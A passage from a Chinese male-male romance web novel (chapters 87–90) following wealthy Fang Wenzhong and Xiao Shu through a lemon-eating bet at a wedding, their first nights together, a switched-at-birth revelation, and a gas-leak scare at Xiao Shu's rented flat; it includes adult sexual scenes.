婚礼上一团一团玩得热闹,看过仪式就只剩下就餐,方闻钟在自己熟悉的环境和朋友面前,不像在萧疏那里小鸟依人,或当个乖巧的“小媳妇”,他看起来嚣张了好多! 指挥着一群人团团转陪他闹,这样的方闻钟,就算不引来暧昧的喜欢,多少也是人群的焦点,朋友中的领头人,何煜看向一旁孤独的萧疏。 “哼,”现在不敢再随意支使方闻钟了吧。 方闻钟没提过他和萧疏最近如何相处的,人也见不着,但看萧疏的脸就知道,他不是轻易低头的人,那肯定受尽宠爱的方少低头赔罪,一想到这里,何煜就一肚子气。 并搞不明白,他妈的方闻钟图什么。 不就是人长得好看点,好吧,是巨好看!但何必伏低做小呢? 包养了个祖宗…… “萧疏,”方闻钟笑着跑过来,把抢来的手捧花递给萧疏,萧疏接过,却随便放在桌子上,方闻钟呆了一下,很快回过神来,继续笑,“我陪你吧,”这里他又没认识的人,把他单独丢在这儿,真不应该,方闻钟心里自责了一小瞬。 然后擦着头上的汗。 萧疏递过去一张纸,他立马像小狗一样热情地仰起头,“你给我擦,”他撒娇。 纸巾贴在方闻钟脸上,萧疏没动手,方闻钟却更开心地笑了。 别人懂什么,他乐在其中。 方闻钟的二号死对头嚷嚷着,他有游艇,家里新买的,一束破花算什么! 方闻钟还嘴,“我想要我姐立马给我买!” “……” “……” 没有内容的口水话争了几个来回,方闻钟突然脱口而出:“我有男朋友你没有,略略略!” “我有女朋友!” “我男朋友长得帅!” “我女朋友好看!她还会生吃柠檬!” “我男朋友也会!一次吃五个!” “……” “我不信。”死对头二号说。 完了,大话说出去了,看他们针锋相对的人越来越多,知道是两个从小不着调不靠谱的少爷斗嘴,两少爷却觉得不能认输,格外认真。 方闻钟左右为难,尤其萧疏就在他旁边的椅子上,现下,所有人都看向这个能一次吃五个生柠檬的男人…… “我不信,有本事你让他现在就吃。” 方闻钟咽了口口水,转头,看萧疏噙着笑,看他的眼神,忽然来了劲儿,他一下跨坐在萧疏腿上,拿起一片柠檬,作势要喂给萧疏。 果然,手腕还是在嘴边被抓住了,萧疏头往后仰。 方闻钟不知道这一刻是萧疏刚才的微笑,还是这些时日两人的默契友好,给他的胆量和底气。 还是纯粹斗气斗上头不知天高地厚。 总之,他忽然捏住萧疏的下巴,一手继续拿着柠檬,先亲亲萧疏嘴巴,后蹭着他耳朵小声说:“萧疏,萧疏,答应我好不好,肯定不酸,这个柠檬我前面尝过了,我们吃一点点,待会儿,赢了我肯定打赌让他掏出来更多赌注!” “全给你。” 最后发展成怎么他捏着一整颗柠檬切开往萧疏嘴里滴柠檬水的他已不知道。 五颗柠檬,一颗没少。 萧疏的嘴里酸得失去味觉。 除了一开始他表情皱了一下难得变脸,后来任由方闻钟抵着他脖子捏着他下颌,从上往下往他嘴里挤。 方闻钟很兴奋!他坐在萧疏腿上,整个人趴在萧疏身上,从上往下。 萧疏在他手里。 这一刻彷佛被他完全控制住。 嘴里的柠檬汁咽不下去,有些滴在他唇上,有些顺着脖子滑下去。 湿了衣服里的胸膛。 一堆人欢呼!死对头面色不好,打赌输了,他也想压着女朋友展示生吞十个柠檬,女朋友早不知躲哪去了…… 方闻钟扔掉最后一个干瘪的柠檬,自己的手也快被腌过了,一片酸味和湿润。 他想从萧疏身上跳下去,萧疏的下巴被他松开,他激动地想转身。 想宣布自己的胜利。 区区五颗柠檬。 杨钧泽在一旁看得目瞪口呆,何煜满心欢喜,对了,方闻钟就该这样做,看到萧疏被人“蹂躏”过的样子,他低着头咳嗽,抹着嘴唇,何煜畅快极了。 然而,方闻钟没从萧疏腿上跳下去,甚至萧疏抓住他的腰往自己这边一揽,他便紧紧坐着,粘贴萧疏的腰。 时间过了很久,看他们打赌斗嘴的人都走了,看萧疏美色的人也恋恋不舍地离开了,只有方闻钟,萧疏。 还有不想离开的何煜和杨钧泽。 五个柠檬,方闻钟一点没少的将汁水全挤进萧疏嘴里,他那时图快。 现在看到萧疏红着眼睛,咳嗽,下巴上还有他手捏出来的一点红印。 方闻钟僵硬了,开始害怕。 “回避一下,”萧疏抬头,哑声对两个看戏的朋友说。 何煜刚张嘴,我凭什么听你的。 就见他将方闻钟一把压在桌子上,酸到没味道的嘴唇全印在方闻钟嘴巴上,誓要他尝尝咸淡。 方闻钟紧紧闭上眼,嘴巴躲来躲去,太酸了,太酸了…… 萧疏的舌头伸进来,舔舐,方闻钟酸得表情皱成抹布。 他想说话,可萧疏连他呼吸的机会都不给,更何况喘气歇息。 亲到不知道是酸到麻木,还是舌根亲到麻木,萧疏才稍微慢一点,舔着彼此的口腔。 方闻钟哭了,萧疏起身,“我都没哭,方闻钟,你讲讲道理。” 方闻钟睁开眼,才知道刚才的五颗柠檬,对萧疏来说是多大的折磨。 他也真忍得住,任凭他捏开的嘴,不躲闪。 明明,萧疏随意挣扎,就能叫方闻钟从开心兴奋的玩闹争斗中明白过来,可他没有。 方闻钟一边软到起不来,嘴巴里五味成杂,一边继续掉眼泪。 “我,我…了。” 第87章 发骚勾引 他对萧疏这样说,并求饶让他帮他挡着点儿,有点下不来台。 萧疏终于知道他为何哭。 本想低头看,但终究留他面子,只是莫名其妙地笑,“柠檬好吃吗?” “不好吃。” “你不是之前说你尝过不酸?” “骗你的。” “方闻钟,你今天……” “我错了,”方闻钟已经快速认错,认识到了今天对萧疏有点过分,这算不算仗着在熟悉的环境,仗着自己的身份和亲朋好友强迫他,欺负他? 萧疏低着头,看到何煜两人已经走了,在他耳边说:“你今天石更得也太快了吧。” 之前亲吻,他也只是翘起来,现在整个坚石更地抵在萧疏身上,方闻钟受不住想捂嘴,手抓住萧疏的脸,才发现,朋友都不见了…… 萧疏本想回学校,但方闻钟开着车绷着脸,忽然把他往自家酒店载去,路过的风景萧疏不熟,直到停到酒店拿上房卡,方闻钟才红着脸跟萧疏说了第一句话,“萧疏,你陪我一起上去吧。” “干什么。” “洗澡,你身上不也是柠檬水吗,正好洗一洗,再回去。” 这段对话发生在电梯里,萧疏站在后面看反光的人,方闻钟低着头,时而转头余光偷偷看他,时而局促又扭捏地不知道作何打算。 电梯上行,直到停止,萧疏眼里只剩方闻钟那片红通通的耳朵。 他轻微一笑,很快在方闻钟看过来时,立马收回。 “嘀,”房门打开,和萧疏正经冷淡的眼睛对上,方闻钟觉得他好狼狈,好下流。 他竟敢想把萧疏拐来自家酒店,想在这里和他发生些什么。 身体躁动没那么明显了,疼痛过去,心底里却烦得要命,又联想到接下来可能的事,一阵阵波涛汹涌。 把人先扔在客厅,方闻钟去洗澡时,再三跟萧疏要求,“你不要偷偷走哦,我给你买了别的衣服,待会儿就送过来了,洗个澡吧。” “好,”萧疏坐在床边,看他着急忙慌一步三回头地进去浴室。 萧疏忽然胳膊放在额头,躺倒笑出了声,尤其听到里面断断续续的水声。 他毫不怀疑,大胆猜测,方闻钟在心虚又莽撞地替自己清理。 待会儿他要怎么做?继续装?还是勾他? 方闻钟当然听不到萧疏的笑声,也不知道那人早清楚了他的急躁和不知羞耻。 资源是杨钧泽发给他的,他学了学,知道男性之间发生关系作为下面的那一个要做哪些准备,反正他从没想过让萧疏当下面那个,虽然从开始就是他强迫他,但到现在为止,对于他想让萧疏操|他,接受得理所当然,心态良好。 洗得干干净净,害怕萧疏嫌弃,还提前做了其他准备,以防待会儿进去得太困难。 方闻钟把萧疏当做什么都不懂的人,尤其这方面的事宜,萧疏说没和别人搞过,他就信了。 现在,把自己收拾好了待会儿端上桌,希望萧疏能接受他,满足他。 方闻钟在浴室里被热气还是混乱复杂的心思,搞得全身红晕、颤栗、痒到光滑的皮肤起了一层令他颤抖的鸡皮疙瘩。 不想让萧疏等得不耐烦,还怕萧疏已经走了,他穿上浴袍,立马开门出来。 萧疏正坐在床边玩手机,看他出来,“衣服什么时候送到?我去洗?” “嗯,我再催催。” 换萧疏进去,方闻钟却没急着要衣服,听到里面在洗澡,方闻钟站在门口,忽然水声听了,他腿麻了,迅速跳到床上,掀开被子将自己剥干净,饥肠辘辘地等萧疏出来。 萧疏看到他垂涎欲滴的眼神,盯着自己从左到右,一边擦着头发,一边光着上身,“衣服呢?” 床上的人像要吃了他。 方闻钟结巴,“在,在我被子里,我给你捂捂。” 他说蠢话,小时候,父母带他出去玩儿,那时候不记得在哪里了,下了大雪,虽然外面烧着壁炉,但方闻钟总说好冷不想起床,妈妈就将衣服暖在被子里,“给小乖暖暖就好了,小乖待会儿好好穿衣服起床……” 大夏天的,他就记得暖衣服了…… 手段实在太幼稚,萧疏都懒得装。 一把过去将被子扯开,衣服是没有的,一丝|不挂的人倒是有一个。 方闻钟蜷缩了一下腿,尤其萧疏直勾勾地向下盯着,他还是害臊,从萧疏手里抢被子,没抢过,萧疏力气太大,他恼羞成怒,“你给我!” 萧疏挑眉。 人气狠了,萧疏为什么能这么平静,看到他脱光躺在这里,什么意思还不明白吗?还是说萧疏其实对他没反应,没一点儿那样的意思,方闻钟想到之前自己在浴室里的准备,心里的期待,忽然哭了,边哭边继续抢被子,“你滚。” 骂人骂到第三句,被萧疏掐住脸颊,抬起脖子。 “方少爷这是做什么呢?欲擒故纵?还是等着我犯错,事后再找我麻烦?” “你有毛病啊萧疏!我犯得着找你麻烦把自己搭上去吗!” 方闻钟挂着眼泪,气狠狠道:“我就是想要你了!我就是躺在你身下,不知廉耻地想勾引你!” “不就是石更吗,有什么可羞耻的,”他擦了一把自己的眼睛,抬头间,萧疏没穿上衣,光裸着胸膛,弯腰在他上方。 被子随意堆在两人中间,方闻钟干脆一脚踢掉,然后对萧疏下最后通牒,“不要就滚出去!” “衣服没有!你滚吧!” 最后一个字其实发音没发出来,模糊了,囫囵吞枣似的。 因为萧疏掐着他脸颊的手指猝然发力,方闻钟嘴巴O起来- 夜深了萧疏才顾得上拉上窗帘,之前只有一层薄薄的白纱,随风晃动。 方闻钟躺在床上动弹不得,腿疼死了,腰也好痛! 最痛的是那个地方!妈的萧疏像被他激怒了而不是勾引到了,抓着他来回的力度像是在泄愤。 要不是后来他俩的呼吸,方闻钟还以为他没爽到,这事原来这么刺激啊…… 小处男长见识了,心里,和身上,都得到了极大的满足,他转头看向背对着他,后背布满爪印的萧疏,突然嘿嘿笑。 真爽!真好! 要不是实在抬不起四肢,他都想当场表演一套拳打脚踢。 弄脏的浴袍、衣服,等全被萧疏收拾掉,方闻钟说会有人来收拾专门洗,萧疏就扔在一旁,但是萧疏抱着他帮他把里面的东西清理干净了。 抠挖时,他们都相继不平静,但方闻钟没精力再惹祸上身,只能眼神骚扰。 萧疏大脑控制了身体,没再继续发狂,让方闻钟得逞。 愉快的事结束,方闻钟知道萧疏配合,他才能成愿,过程中,甚至前情,应该都说磨合得很好,萧疏应该没有生气,他自己不也很畅快吗,方闻钟能感觉到,萧疏抱着他做时,很稀罕他。 但现在,看萧疏那个遥远的背影,方闻钟忽然心上被刺了一下。 他想起,萧疏既然和他一样第一次,为什么也那么熟练?他是提前学习了,他呢? 他真是第一次吗? 方闻钟怀疑,萧疏好像游刃有余,甚至清楚地知道他每一个敏感点,知道如何让他沉醉,如何让他欲罢不能。 这本是件高兴和享受的事,只是后续深想,难免自讨苦吃。 好了,不要再想这些了,方闻钟和萧疏身上的柠檬味,渐渐散去,被另一种餍足的味道代替。 萧疏终于回头,方闻钟看到他竟叼着一根菸,烟刚点着。 这难道是事后…… 他刚这样想着时,萧疏吸了一口烟,他人躲在阴影里,愈发让方闻钟看不清他的表情和眼神。 好似没有防备,好似看方闻钟像看独一无二的爱人。 又好似,他们之间,隔着短短几步,这时候却不能由方闻钟一个人跨过去的深渊,得靠萧疏走过来才行。 萧疏垂着手臂,手里的手机刚发来文档,方闻钟和萧疏“父母”的亲子鉴定结果出来了。 萧疏吐出烟,低着头侧头冷笑了一下,他刚才…… 操了他养父母的亲生儿子。 那个鸠占鹊巢顶了他二十多年人生的人,刚才被他弄了。 他是自愿的,甚至自己发骚,那自己呢? 烟雾之下,萧疏看到方闻钟期盼热切又隐含担忧的眼神,他掐了烟,走过去,抱着人,“还不甘心?腿疼吗?”意思是方闻钟还想要? 方闻钟终于笑了,开心又满足地在萧疏怀里乖巧慢蹭,然后抬头,他眼睛红红的,此时却盛满笑意,眼里只装得下一个人。 “不要了,萧疏。” “萧疏,你能再陪陪我吗?” “我不是一直在?” “上来。” “你父母……”是个什么样的人。 萧疏哑声,揽着方闻钟的肩膀,淡漠问。 方闻钟激动地打断他,小少爷抱住人腰,“萧疏,床上不提爹娘你懂不懂啊?”是不是萧疏害怕他父母发现了,拆散他们? 方闻钟眼睛滴溜溜转,怎么好怎么想。 “我可以叫你爸爸,”他学了一句骚话,“萧爸爸,天亮了还要我吗?” 方闻钟:“专心点。” 萧疏:“……”是的,不然怎么对得起方闻钟又一次发骚呢。 第88章 “姐…姐”(加更) 和死对头二号的赌注是一串价值上百万的颈链首饰,通体金色,点缀银色的钻石和珠宝,流苏垂下来前后都到了及胸的长度。 方闻钟要一件死对头二号最喜欢的东西,本想让他心痛、割爱,没想到他拿出来的是这样一件首饰……据说还是刚拍卖得到的。 颈链很美,打开盒子前方闻钟本想还将赌注给萧疏,毕竟是萧疏赢来的,但现在他一时有些犹豫。 “你和萧疏做过了?”杨钧泽忽然语出惊人。 吓得方闻钟手一抖,欲盖弥彰,“你,你在说什么!” “行了,别装了,”杨钧泽躺在沙发上,“你他妈快全写脸上了……”他指着方闻钟的脸,这些日子,方闻钟怎么看怎么高兴,彷佛凭空被巨运砸中了,浑身上下冒着散不完的喜气,和控制不住想要跟人分享却无法说的压抑。 被戳穿,方闻钟先是紧张了一下,脸不由变色,随即大方承认,“就是做过了怎么了,资源不还是你给我的吗?”他凑近杨钧泽,目若星芒,“还有没有别的?” 将凑近的脑袋推远一点,现在的小少爷正在兴头上,别人说什么都听不进去,“何煜知道了肯定骂你。” 说曹操曹操到,何煜迟了点插入,“我怎么了?” “没事,”方闻钟很快摆着手,“我有事先走了,”他逃了,才不要在这里听何煜唠叨。 何煜皱眉,不解,反过来看杨钧泽。 杨钧泽没有替方闻钟隐瞒,把他和萧疏的最新关系说了。 何煜果然炸了。 看人原地发疯十分钟,杨钧泽平静,何煜打他,“你有没有拿他当朋友啊,方闻钟要被骗得底裤都不剩了!” 杨钧泽差点倒下去,闷声说:“我说,他比你只小一岁,不是你什么都不懂的儿子……” 道理是这样,何煜还是觉得憋闷。 从一开始,方闻钟缠着萧疏,他没感觉,但当看到方闻钟陷得挺深,花的心思越来越多,而萧疏琢磨不透,何煜心里就没底了。 他对萧疏的怒气,与其说是看不惯这个人,不如说他担心方闻钟的下场。 越认真,结局不受控,被萧疏掌握,方闻钟就有可能越受到伤害。 可千万别小瞧了感情一回事…… 一千万的包养费他勉强认了,可方闻钟急急忙忙把自己献给萧疏,关系进展到肉|体这一层,方闻钟以前还从未有过这样的经历,何煜不免想得更深…… 往后还怎么随意甩开人,要是萧疏不耐烦了,方闻钟能怎么办? 小少爷不痛苦死才怪!那时候,他们要么等着给萧疏收尸,要么给小少爷自己收尸吧! 杨钧泽开导他,“说来说去,你就是觉得他们两人天方夜谭,但又有什么关系,玩玩而已,你就让我们方少爷好好去享受吧。” 对于上床,杨钧泽看得开。 何煜嗤他,“享受?享受完了方闻钟再哭鼻子?” “哈哈哈哈哈,”杨钧泽站起身,拍了拍何煜的肩膀,“那时候不就轮到你出马了吗?” 朋友是用来干什么的,就是支持和兜底的。 何煜扭着身子躲过杨钧泽的拍打,还在别扭。 不识好人心的方闻钟,还学会躲他了…… 方闻钟离开两人,当然去找萧疏,萧疏在酒吧的调酒师工作九点就结束,方闻钟后来才知道他和别人在换班,九点之后就是另外一个调酒师了,难怪有时候找人找不着。 方闻钟等他下班,有他一个旁观者大剌剌地杵在那儿,方少爷的名头也挺响,前来和萧疏搭讪的,一次两次看到他故意调戏肢体接触萧疏,只好很有眼色地走开。 “你去哪儿?”萧疏要回出租屋时,方闻钟还跟着。 方闻钟抬头,萧疏耳朵上的同款蓝耳钉,让他笑了一下,“跟你一起啊。” 萧疏皱着眉。 然而只需要一句话,就能让萧疏变脸,强硬地将方闻钟脑袋夹在胳膊下,恨不得现在就带他回去,将人抡到出租屋床上。 方闻钟走得踉跄,脸色胀红。 “萧疏,萧疏,你背我吧。”- “萧疏,你怎么这么会啊。” 灯光昏黄,床头柜一片蜜色,他们都对手下的触感爱不释手,方闻钟身上套着一件萧疏的黑色衬衫,是他的工作服。 别的方闻钟嫌弃来嫌弃去,出租屋被他批得一无是处。 方闻钟被赶出去,堵在门外。 拖鞋都被萧疏扒掉了,方闻钟光着脚,不知所措地站在门外拍门,有路过的邻居,方闻钟脚尖扣地,装得平静,人一走,他极速拍门,“萧疏萧疏快开门,我错了,我不嫌弃了……” 洗干净脚丫子,方闻钟踩上萧疏的拖鞋。 他自己在衣柜里找到了萧疏的衣服,说穿这个他才会舒服,不然别的划得皮肤痛,萧疏骂他什么少爷臭脾气,里面还夹杂着怒,方闻钟赶紧跳上人腰,哄一哄。 “我穿这个不好看吗?”他的扣子就差全解了…… “我天赋异禀,”萧疏平淡说。 方闻钟煞有介事地点着头,手里的东西,份量,确实天赋异禀,很快又被方闻钟弄起来了,又是一轮你情我愿。 “停,停一下,”方闻钟满头大汗,呼吸爽到痛苦又急促。 肚子都要被顶穿了头Duang一下撞到头顶木头,萧疏暂且放过,活泼了一晚的方闻钟,终于歇菜。 开始被他嫌弃的地方,现在随意地躺着,看下面的人在忙碌。 萧疏的被子很温暖,又很凉快,总之很舒适就对了。 在炎炎夏日,吹着空调,刚结束完方闻钟最近最喜欢干的事,他平静地盯着萧疏,从身体到灵魂,彷佛都被泡在灵泉里,快要沉溺下去,就在失神的前一秒,他拉住路过的萧疏的手。 “我带来的那个大盒子你看到了吗?那是给你的。” “给我的?” “嗯,赌注。” 方闻钟突发奇想,挣扎着起来,忽然想到要把那个首饰戴在哪里了,他简直为自己天才的想法激动不已,颈链拿出来,萧疏看一眼就皱眉。 却被方闻钟不知怎么捣鼓着重新拼接了一下。 方闻钟脱掉萧疏的短袖,璀璨的金色和银色,变成一片耀眼的胸链,摇摇欲坠地挂在萧疏两片大胸肌上…… 萧疏…… “哈哈哈哈哈哈哈,”方闻钟笑得倒在床上抱成一团。 “哎,不许摘不许摘!” “我要拍视频!”他翻身准备找自己手机,这值得留念。 只有他自己一个人能看到的视频,往后看到了,萧疏不在,完全可以凭此自己撸。 “啊,漏了。”- 视频还是拍了,短短的两秒,比胸链更吸引人的,是萧疏一闪而过的冷酷的脸庞。 胸链被扯成几段,有些留在方闻钟脚踝上,有些绑在其他脆弱的地方。 床单还是重新洗了。 “萧疏,你能拍一个那样的小视频吗?”方闻钟把手机里的男菩萨擦边的视频给萧疏看,萧疏只肖一眼,不屑还是不在乎地转头过去。 方闻钟想像,萧疏要是愿意那样做,他回忆着刚才脑子里萧疏光着上身,极具性张力的身材被穿戴上那么一条华丽的链子……性感得方闻钟口干舌燥。 哪怕人就在他身边。 萧疏肯定能借此赚翻了…… 当然,和他的一月一千万还是比不了。 钱给萧疏打过去,方闻钟不在乎,能用他有的东西,换来和萧疏的现在,他别提多幸福。 萧疏开学了。 酒店里,萧疏和方闻钟说了一声,准备去学校,方闻钟衣衫不整,忽然跳下来挂在他脖子上,他光着脚,踩在萧疏的运动鞋上。 有点硌,非要萧疏揽着点他的腰,他才作罢。 亲了萧疏满脸,萧疏躲了躲,等方闻钟想在他脖子上留印子时,萧疏推开,“今天要去学校。” 方闻钟只好松开他了,“你觉得我很放荡吗?” 他忽然这样问萧疏。 萧疏系着鞋带重新看了他一眼,方闻钟自觉现在像一个没有脑子的废物,就想缠在萧疏这颗大树上,日日抱着他的花瓶赏玩。 “去把衣服穿好,”萧疏这样说。 萧疏的态度方闻钟已经很满意很满意,所以他从未察觉到,自从萧疏答应“包养”,和他在一起,他偶尔的出神,不纯粹…… 按下电梯,萧疏下楼。 下去一楼时,和一个女人擦肩而过,萧疏等那人合上电梯。 忽然停住脚步,回头。 他退着往外走,直到走出酒店大楼,站在楼下像一个弱小的蝼蚁一样观望最顶层。 “姐…姐。” 第89章 萧疏:“方闻钟,你是蠢猪吗?” 方闻钟提心吊胆,幸好自己刚收拾好了,没叫他姐发现他奇怪的样子…… 方言诩不动声色地环视了一周弟弟住的地方,“最近怎么一直住酒店?爸妈下个月就回国了。” “你还不打算进公司?” 女人声音像叮咚叮咚的泉水,干净好听,在弟弟这儿,明显克制着,多了些温柔,没有那么冷落。 方闻钟赶紧抱上姐姐胳膊,三言两语把人哄开心,他怕姐姐再待下去,会发现别的什么。 方言诩工作认真,其余花边新闻不怎么关注,所以只是仅仅知道方闻钟在追一个人,具体那人叫什么,长什么样子,她完全不知情。 更不知道,方闻钟每月卡里的钱,待不住一天,就转给别人。 方闻钟还在数次夜里,白天,缠着别人下不了床。 这就是方言诩的弱点了,没谈过恋爱,自然看不出方闻钟满面春色,要是得知弟弟和萧疏的关系,她会怎么做,暂且谁也不知晓。 “你喜欢的那个人怎么样了,”她在诈方闻钟。 方闻钟果然僵了一下,然后很快若无其事道:“我和他很好啊。” 弟弟原来谈恋爱了,方言诩这样想,方闻钟从小又被人宠,又烦家里人多管,所以他们默契地不去追问调查他自己的事,方言诩放松了对他的管教,不知他怎么追到人的…… 至于性别一事,倒不在他们考虑作用域内。 顶多,顶多方言诩了解的多点之后,告诉方闻钟,注意安全。 “我还不想进公司,”方闻钟找藉口,“姐,我想在A大附近买一处房子,你有推荐的吗?” “做什么?”方言诩好奇,他又不是多爱上学的人。 “我,我……”他我了半天,方言诩已经在想了,“我好像有一处空置房产,你要愿意去住就去吧。” “姐,你太好了!” 方言诩笑了一下,“最迟下个月进公司,不然我可不想爸妈再来看到你还在玩闹,说我松于管教。” “好了好了,”方言诩推开弟弟的脑袋,又想起,五岁的时候,她不小心溺水,方闻钟比他矮很多,轻很多,不要命不怕死地把她从水里拽上来…… 那个时刻,被一个十三岁的女孩儿牢牢记在心里,弟弟是她的软肋,也是她的逆鳞。 “姐,”方闻钟吸了吸鼻子,“你肩膀上怎么有一股很熟悉的味道?” 好熟悉啊,彷佛刚才就在哪儿闻到过,方闻钟却死活想不起来。 方言诩动了动鼻子,她没闻到,但不妨碍她不敷衍弟弟,“哦,可能是在一楼不小心撞到人,碰到的吧。” 那个高高的男生方言诩惊鸿一瞥,稍微触动了一下。 等见到方闻钟后,就抛之脑后了。 萧疏开学后,方闻钟没住到姐姐给的房子,因为萧疏要住校,晚上不在外面留宿。 方闻钟求了好几天,连色|诱的手段都用了不下三回,萧疏白天操过他之后,晚上还是要回去,不答应他的纠缠。 方闻钟低沉了好几天,难道就他一个人陷入其中不可自拔吗? 方闻钟恨萧疏每天要去学校!要去打工!分给他的时间只有一点点,明明萧疏和他做时,也是很快乐的,可是为什么萧疏抽身的能那么快,他都不想他吗? 就算去学校里找他,也不能做什么,只能顶着男朋友的名头,看到吃不到。 而且,萧疏也不愿意他一直在他们学校晃荡。 被方闻钟发现,萧疏偶尔会去他的出租屋晚上睡觉,方闻钟怒了,好嘛,原来是不想住到他的房子里。 方闻钟偷偷摸摸跑去萧疏的出租屋,萧疏半夜给他开门,阴气森森,“嘿嘿,”方闻钟傻笑,只要萧疏第一次愿意收留他,第二次,他就擅自把自己所有的东西搬来萧疏这里了。 两个大行李箱,他再也不嫌弃地方不好。 萧疏一周会回来两三次,何煜他们问方闻钟,最近怎么人影都见不到,方闻钟懒散地躺在出租屋,穿着旧拖鞋,替萧疏打扫房间,他将手机夹在脖子里,说起话来没一点抱怨,“我在体验生活。” “嘁。” “嘁,”他挂了。 萧疏生病了,在学校想吃馄饨没吃到,硬捱到了下午。 方闻钟买通的小弟,萧疏的同班同学给他汇报,他立马给萧疏打电话,被拒接,又发消息,“你晚上回来吗?” “不回。” “你还想吃馄饨吗?” 这次萧疏没回,方闻钟突然打算给萧疏做个馄饨,然后送去他学校,一想到他们这样见面,方闻钟就很开心,萧疏也会开心吧。 一个小时后,方闻钟放弃了现包的想法,送来的食材被他全部霍霍完,进了垃圾桶。 要不是时间来不及,方闻钟还能再挑选一会儿,最后下单一款皮薄馅儿大的馄饨,他亲自煮!这样也算自己做的了。 当然,很快又失败了一次。 第二次,他详细看说明,认认真真地打着火,火焰冒出来,方闻钟吓了一大跳,后退了一下,没使用过这些竈具,方闻钟有点点小害怕,他又觉得自己可真娇气,顿时信心满满,雄心壮志。 总算赶着时间,煮了一锅馄饨。 是真的一锅,他算不好份量,全丢进去了,出锅时,赶紧颤颤巍巍地全倒进保温桶里,盖上盖子,出发去学校。 但是萧疏晚上有小组活动,方闻钟没找到人。 他又等了半小时,萧疏打电话过来说:“我吃过了,怎么了?” 方闻钟瘪着嘴,“我来找你了。” “哦。” 萧疏又过了一个多小时,才来找方闻钟,此时已经八点多,方闻钟等得自己都饿了。 萧疏摇醒他脑袋,“你还不回去?” 方闻钟露出怀里巨大的保温桶,扯着笑容,“我来给你送馄饨,萧疏,我亲自做的!” 被他的笑晃了一下,他眼里好像是刚打过哈欠,有一点水汽,萧疏一愣,“可是我吃过了,”他还是这样说。 “哦。” 方闻钟磨磨蹭蹭,低着头,最后当着萧疏的面,自己打开盖子,准备自己吃。 谁料,盖子一开,一锅馄饨成了皱起来的一坨丝毫没有食欲的食物。 水少了,馄饨多,现在全泡坏了…… 方闻钟本想对萧疏说‘我的手艺才不是这样难看呢’,解释的话到嘴边,终究没敢抬头,才不是打哈欠呢,他就差快哭了,但怪丢人的。 他就埋着头,把那锅食物自己机械地往嘴里塞。 还好吧,不是那么难吃。 萧疏坐在他旁边,看着他快吃饱了,眉眼里有方闻钟看不到的深情,很快消失不见。 他忽然拦住方闻钟的手腕,方闻钟一顿,“怎么了?”他转头。 萧疏示意他看自己的勺子,勺子舀上来的东西,有一片泡湿的白色的碎纸片,方闻钟一呆,傻了,不知道怎么会有纸。 萧疏却猜到,他新买的保温桶,里面的纸片没拿出来,方闻钟忘了。 勺子一扔,方闻钟一口都吃不下了,“我回去了。” “嗯。” 方闻钟强打着精神,又问了萧疏一遍,“你今晚还有事吗?不回去?” “嗯,”萧疏:“你不用一直待在那里,”自找苦吃。 “好,”方闻钟这样说着,开着他随便就上百万的车,依旧停在萧疏出租屋门口。 保温桶连剩下的馄饨,都想扔垃圾桶里,又一想,万一以后萧疏还用得到保温桶呢?他洗了。 方闻钟心不在焉,洗澡的时候没注意,一下摔倒滑倒,脚踝磕在浴缸边上。 他抱着自己的腿,坐在冷冰冰的地面,忽然把头埋在膝盖处,哇哇大哭起来。 “萧疏,萧疏。” 他哭了有半小时,没人知道他当时的发疯,半小时后,他也只是有点眼睛红,脸上泛着不正常的红晕,一瘸一拐地出来,上床,捂紧萧疏的被子。 半夜,方闻钟被巨大的敲门声震醒,然后懵懵的,就看到萧疏惊恐地冲进来,打开他房门的手还有点抖。 他被萧疏蛮横地从被子里捞出来,萧疏对他吼,“方闻钟,你是蠢猪吗!” 方闻钟被骂傻了,本来就不清醒,这下更是一问三不知。 然后他就糊涂地看着萧疏检查四周,再率先跑进厨房,关了一些开关,方闻钟亦步亦趋地跟在他后面,这时才闻到,空气里,似乎有点奇怪的难闻的味道。 窗户大开着,萧疏告别了其他人,转过身看懵懂的方闻钟。 原来是天然气泄漏,方闻钟使用完没关好,楼上的楼下的,闻到味道纷纷找人,这才半夜急切地把萧疏从学校找来,各种方式联系到他,让他赶紧回家看看! 萧疏不记得自己用了多少时间冲上来的,看到方闻钟好着,家里也暂且无事,他紧紧提起来的心终于放下一点,然后没忍住斥责了方闻钟。 方闻钟仅从萧疏的反应,以及邻居的对话中知道,他犯的错有多危险。 幸好泄漏得不多,幸好他回来没再用明火,幸好,幸好窗户开着一点通风,别人及时发现了。 方闻钟脑子里懵懵的,萧疏走过来,他下意识往后退,害怕又被骂。 他穿着长长的短袖短裤,一看就知是萧疏的衣服,萧疏抬手。 方闻钟以为自己要挨打,毕竟萧疏气急了,刚才都骂他蠢猪。 他抬起胳膊,侧了一下头,想挡一挡。 萧疏的手贴在他额头上,“方闻钟,你发烧了。” 第90章 “破镜重圆”(加更) “什么时候发烧的?” “不知道,”方闻钟依旧状况外,尤其被萧疏放在床上盖好被子后。 “你病好了吗?”他拉住床边萧疏的手。 萧疏皱眉,他什么病? 方闻钟说:“你胃还疼吗?” 萧疏明白了,昨天中午没顾上吃饭,别人乱传的,他知道方闻钟在他身边的同学中安插了好几个给他报信的人,“我没事,”他随意说。 方闻钟松开手,萧疏换了一套新衣服,收拾他自己的书包,方闻钟以为家里没事了他还要走,急急忙忙一把起来拽住他,只仅仅拉到了衣服下摆。 “你这就要走吗?” “萧疏,”他尽可能反省自己的错误,“我不知道怎么关那个东西,但这次我肯定记住了,我以后不会再犯这样的错了,我不会的东西,我都会慢慢学的,萧疏,我会在这里好好做,不让你操心,不信你看,我都把这里的东西打扫收拾得干干净净。” 萧疏喜欢干净,方闻钟当然也是,只不过以前是佣人替他收拾,现在他自己动手,不让萧疏烦心。 “我去买药,”萧疏说。 方闻钟愣了,松开他,一下跌坐在床上。 “嘶——” “又怎么了,”萧疏弯腰靠近他扶住人问。 方闻钟看到他在担心自己,眼泪花花地说:“脚踝,疼。”磕得好严重,萧疏一看那块青色,顿时欲言又止,最终面色不好地替方闻钟摸了摸,骨头没事,但外表疼。 方闻钟知道他肯定又要说自己蠢了,洗个澡都能把自己洗受伤。 有些委屈,又强打着不让萧疏发现,嘴角裂开笑,“明天肯定就好了,这个不用买药。” 萧疏将人强硬地放好,方闻钟躺倒,他的脚踝被萧疏握在手里,直到自己很不自在,萧疏才将腿也放进去,他背对着他说:“以后及时给我打电话。” 方闻钟忍住没哭,萧疏走到门口了,他才细声说:“你忙起来不接。” “以后对你没有忙的时候。”- 萧疏已经第三天住在家里了,明天又是周末,他肯定还在家,所以意味着他已经每晚都回出租屋陪他了吗? 